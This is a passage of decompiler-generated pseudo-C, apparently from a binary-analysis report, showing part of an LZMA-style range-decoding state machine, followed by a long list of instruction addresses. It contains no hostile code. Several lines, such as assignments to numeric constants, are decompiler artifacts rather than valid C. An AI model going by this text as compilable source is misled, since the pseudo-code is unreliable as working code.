												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}















                                                                                              0x00406779
                                                                                              0x00406779
                                                                                              0x00406779
                                                                                              0x00406779
                                                                                              0x0040677f
                                                                                              0x00406783
                                                                                              0x00406787
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406ab2
                                                                                              0x00406abb
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b09
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00406b0b
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00406bc0
                                                                                              0x00406bca
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00406be6
                                                                                              0x00406a8e
                                                                                              0x00406a94
                                                                                              0x00406a9b
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00000000
                                                                                              0x00406aa6
                                                                                              0x00406b10
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061de
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061e8
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406243
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x0040628d
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062b7
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x004062fd
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00406bb4
                                                                                              0x00000000
                                                                                              0x00406bb4
                                                                                              0x00406a0b
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x00000000
                                                                                              0x004063d1
                                                                                              0x0040634b
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x0040671c
                                                                                              0x00406707
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
